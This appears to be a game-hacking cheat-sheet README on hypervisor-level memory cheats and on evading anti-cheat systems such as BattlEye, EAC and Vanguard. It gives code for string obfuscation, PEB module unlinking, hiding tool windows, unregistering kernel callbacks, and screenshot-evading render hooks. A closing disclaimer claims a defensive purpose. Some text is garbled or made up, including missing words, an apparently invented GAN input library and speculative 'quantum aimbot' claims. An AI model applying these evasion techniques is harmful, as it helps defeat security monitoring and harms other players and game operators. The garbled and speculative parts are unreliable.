By using hardware-assisted virtualization, we can intercept and manipulate game memory without directly modifying it — enabling powerful cheat capabilities while evading detection by anti-cheat systems like BattleEye, Vanguard, or EAC.

This class of cheats resides below the kernel, using hypervisors and page table remapping (EPT/NPT) to view and/or manipulate memory from another ring (Ring -1) — below Ring 0.

TermDescription
EPT (Intel)Extended Page Tables — allows second-level address translation in VM
NPT (AMD)Nested Page Tables — same purpose as EPT but for AMD-V
BluepillA rootkit or hypervisor that silently loads under the host OS
Ring -1Privilege level used by hypervisors (below kernel Ring 0)
VMX / SVMIntel and AMD virtualization instructions (vmxon, vmexit, etc.)
VMMVirtual Machine Monitor (a.k.a. hypervisor, either custom or KVM/Hyper-V)
  • External ESP Overlays
  • Read-Protected Pages
  • Undetectable Memory View
  • Runtime Memory Redirection
  • Full Memory Timeline
+---------------------+       +-----------------------------+
| Guest Virtual Addr  | --->  | Guest Physical Addr (GPA)   |
+---------------------+       +-----------------------------+
                                   ↓
                           +---------------------+
                           | Host Physical Addr   |
                           +---------------------+
  • Sets EPT/NPT permissions
  • Logs reads/writes
  • Triggers VMExit

Projects: SimpleVisor, Hvpp, LibVMI

  • Run game in Hyper-V
  • Read memory from host using LibVMI
// EPT hook concept
setup_ept_hook(target_gpa, callback_on_readwrite);
  • vmxon to activate VMX root mode
  • Live ing without drivers
FeatureTraditional CheatVM-Level Cheat
Requires driver
Visible to AV
Touches game RAM
Bypasses Guard
Hooks detected
  • Shadow Memory
  • Page Fault ESP
  • Instruction Hooks
  • DMA Isolation
ToolPurpose
SimpleVisorEPT hypervisor
hvppVT-x engine
LibVMIVM memory introspection
DRAKVUFXen-based tracer
HyperDbgVM debugger
BareflankC++ hypervisor framework
# Setup VM
virsh start game-vm

# Attach to memory
vmi = Libvmi("game-vm")
addr = vmi.translate_ksym("PlayerStruct")

# Read loop
while True:
    coords = vmi.read(addr, 12)
    draw_esp(coords)
  • Use VT-d to bypass DMA protection
  • Trace VMEXITs to understand timing
  • EPTP list: swap memory views
  • EPT dirty bits: side-channel memory usage


This section provides a detailed framework for countering detection mechanisms employed by anti-cheat systems like Battleye, EasyAntiCheat (EAC), Vanguard, and others.


Anti-cheat systems don’t just detect cheat software; they identify cheating behavior and cheat footprints.

TypeDetection MethodExamples
SignatureStatic strings/hashescheat.dll, function stubs
BehavioralTiming, inputPerfect recoil, pixel aim
MemoryPage access, ingNOP’d cooldowns, IAT hooks
SyscallAPI call graphsNtReadVirtualMemory
KernelSSDT, IRP, callbacksDriver list, PsSet callbacks

Anti-cheat scans memory for static patterns or hashes.

PatternAnti-CheatNotes
"LoadLibraryA"AllClassic DLL injection
"GetAsyncKeyState"EAC, VanguardKeylogger, ESP detection
"SetWindowsHookEx"Battleye, EACGlobal input hook
"CheatEngine"AllMemory/window title scan
"NtOpenProcess"VanguardSyscall flagging
"CreateToolhelp32Snapshot"BattleyeProcess/thread enum
  • String Obfuscation:

    const char* LLA = "\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41";
  • Dynamic API Resolution:

    FARPROC GetAPIByHash(DWORD hash) { /* Export table walker */ }
  • Polymorphic Code: Self-modifying shellcode.


Anti-cheat systems inspect import/export tables.

FARPROC* pIAT = (FARPROC*)(base + offset);
if ((uintptr_t)(*pIAT) != GetProcAddress(GetModuleHandle("user32.dll"), "MessageBoxA"))
    // Hooked!
  • Rebuild IAT after injection.
  • Inline hooks instead of IAT.
  • Stealth trampolines:
    original_code:
        mov r10, rcx
        mov eax, [syscall_id]
    stealth_gate:
        jmp qword [rel hidden_handler]
    hidden_handler:
        dq 0xDEADBEEFCAFEBABE

Anti-cheat systems use AOB scanning for known patterns.

// Original
call dword ptr [eax+0x70]
// Hooked
jmp myESPOverlay
  • Trampoline hooks
  • Encoded shellcode
  • Cloaking memory:
    void cloak_memory_region(void* addr, size_t size) {
        // Use shadow memory and hide with PTE changes
    }

Anti-cheat may inspect:

  • PEB module list
  • NtQuerySystemInformation
  • NtQueryObject
  • EnumWindows for cheat UIs
  • Unlink from PEB:

    PLIST_ENTRY InMemoryOrder = &peb->Ldr->InMemoryOrderModuleList;
    InMemoryOrder->Flink->Blink = InMemoryOrder->Blink;
    InMemoryOrder->Blink->Flink = InMemoryOrder->Flink;
  • Hide Window:

    HWND hWnd = FindWindow(NULL, L"Cheat Engine 7.5");
    if (hWnd) ShowWindow(hWnd, SW_HIDE);
  • Block Handle Inspection:

    if (ObjectType == ObjectTypeInformation && IsOurHandle(handle)) {
        return STATUS_INVALID_HANDLE;
    }

Detection points:

  • IRP callbacks on \Device\KeyboardClass0
  • SSDT hooks (e.g., NtReadVirtualMemory)
  • Kernel object notify routines
  • Direct Syscalls:

    void* ZwReadVirtualMemory = get_syscall_address(0x3F);
  • Unregister Callbacks:

    ObUnRegisterCallbacks(MyHandle);
  • Hypervisor Execution:

    void execute_protected(void* code, size_t size) {
        enter_vmx_operation();
        load_encrypted_payload(code, size);
        set_vmcs_field(VMCS_GUEST_RIP, encrypted_entry);
        resume_guest();
    }

Flagged patterns:

BehaviorReason
No recoilInhuman precision
1ms reactionScripted macros
Perfect aimTriggerbots
Static movementBot detection
  • Add jitter and randomized delay
  • GAN-generated Inputs:
    from gan_input import BehavioralGAN
    bot = BehavioralGAN(model="cs2_pro_player.gan")
    while gaming:
        real_input = capture_mouse_movement()
        stealth_input = bot.generate(real_input, variance=0.3)
        send_input(stealth_input)

Anti-cheats may call BitBlt, GetRenderTargetData, or kernel video functions.

  • BitBlt Hook:

    BOOL BitBltHook(...) {
        if (IsBeingCaptured()) return FALSE;
        return OriginalBitBlt(...);
    }
  • Context-Aware Rendering:

    HRESULT __stdcall hkPresent(...) {
        if (is_capture_active()) {
            clean_render_target();
            auto hr = oPresent(...);
            restore_render_target();
            return hr;
        }
        render_esp();
        return oPresent(...);
    }

LayerDefense MechanismBypass Technique
UsermodeAPI hooks, title scansAPI hashing, string obfuscation
MemoryAOB, signature scansEncoded shellcode, trampolines
KernelmodeSSDT, IRP, callbacksDirect syscalls, VM hiding
BehavioralInput timing, aim pathsJitter, GAN emulation
ForensicsScreenshots, video framesFrame guards, present hooks

Harness the power of quantum mechanics to revolutionize game hacking techniques. While practical quantum computers are not yet widely available, understanding these concepts prepares you for the potential future of cybersecurity.


  • Grover's Algorithm: Accelerate brute-force searches quadratically. Ideal for ing passwords, encryption keys, or finding hidden memory addresses.

    Example: Searching a key space of N elements takes O(√N) time instead of O(N).

  • Shor's Algorithm: Factor large integers exponentially faster than classical computers, breaking RSA encryption used in DRM and network protocols.

  • Quantum Annealing: Solve optimization problems (e.g., pathfinding for bots, resource allocation) more efficiently.


  • Quantum Simulation: Simulate game physics engines (e.g., Havok, PhysX) at unprecedented speeds.
  • Quantum Machine Learning (QML): Train neural networks for aimbots or decision-making bots exponentially faster.
  • QML for Aimbots: Use quantum convolutional neural networks (QCNNs) for near-instant target acquisition.
  • Quantum Fuzzing: Use quantum algorithms to generate more effective test cases.

  • Post-Quantum Cryptography (PQC): Study lattice-based, hash-based, and multivariate cryptographic schemes as games adopt PQC.
  • Quantum Key Distribution (QKD): Understand how games might implement QKD and explore theoretical bypass strategies.

Tool/FrameworkPurpose
Qiskit (IBM)Quantum circuit simulation and algorithm development
Cirq (Google)Framework for NISQ quantum computing
PennyLaneQuantum machine learning, hybrid models
Microsoft Quantum Dev KitQ# programming for quantum applications

from qiskit import QuantumCircuit, Aer, execute
from qiskit.visualization import plot_histogram
import numpy as np

# Define the oracle for the secret key (e.g., 110)
def oracle(circuit, secret_key):
    for i, bit in enumerate(secret_key):
        if bit == '1':
            circuit.x(i)
    circuit.cz(0, 2)
    for i, bit in enumerate(secret_key):
        if bit == '1':
            circuit.x(i)

# Grover's algorithm setup
n = 3  # Number of qubits (for 3-bit key)
grover_circuit = QuantumCircuit(n, n)

# Initialize superposition
grover_circuit.h(range(n))

# Apply oracle and diffusion operator
iterations = int(np.ceil(np.sqrt(2**n)))
for _ in range(iterations):
    oracle(grover_circuit, '110')
    grover_circuit.h(range(n))
    grover_circuit.x(range(n))
    grover_circuit.h(n-1)
    grover_circuit.mct(list(range(n-1)), n-1)  # Multi-controlled Toffoli
    grover_circuit.h(n-1)
    grover_circuit.x(range(n))
    grover_circuit.h(range(n))

### Measure
grover_circuit.measure(range(n), range(n))

# Simulate
simulator = Aer.get_backend('qasm_simulator')
result = execute(grover_circuit, simulator, shots=1024).result()
counts = result.get_counts()
print(counts)  # Should show '110' with high probability

  • NISQ Limitations: Current quantum computers are noisy and have limited qubits.
  • Algorithm Maturity: Many quantum algorithms are still in the theoretical stage.
  • Access: Hardware is expensive and primarily cloud-based (IBM, AWS, Azure Quantum).

  • Hybrid Approaches: Combine classical + quantum computing for optimization and ML.
  • Quantum Cloud Services: Use cloud-based quantum hardware for cryptanalysis.
  • Game Security Evolution: Expect PQC in games and research preemptive bypasses.

TaskToolchain
Static AnalysisGhidra, IDA, Binary Ninja, Radare2
Memory AnalysisCheat Engine, Frida, x64dbg, ReClass.NET
Network HackingWireshark, mitmproxy, Scapy, Burp Suite
FuzzingAFL++, Honggfuzz, Boofuzz, KernelFuzzer
AI IntegrationYOLOv7, OpenCV, TensorFlow, TensorRT
Kernel ExploitsWinDbg, Ghidra, UEFITool
AutomationPython, pymem, Selenium

This repository is strictly for authorized penetration testing, academic research, and CTF competitions. Unauthorized use for cheating in live games is illegal, violates terms of service, and risks permanent bans.

These techniques are documented for defensive purposes—to help developers secure games. Always obtain explicit permission before testing any system.

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modular, offensive game hacking cheat sheet for ethical hacking, reverse engineering, and CTF research covering everything from memory exploits to anti-cheat evasion.

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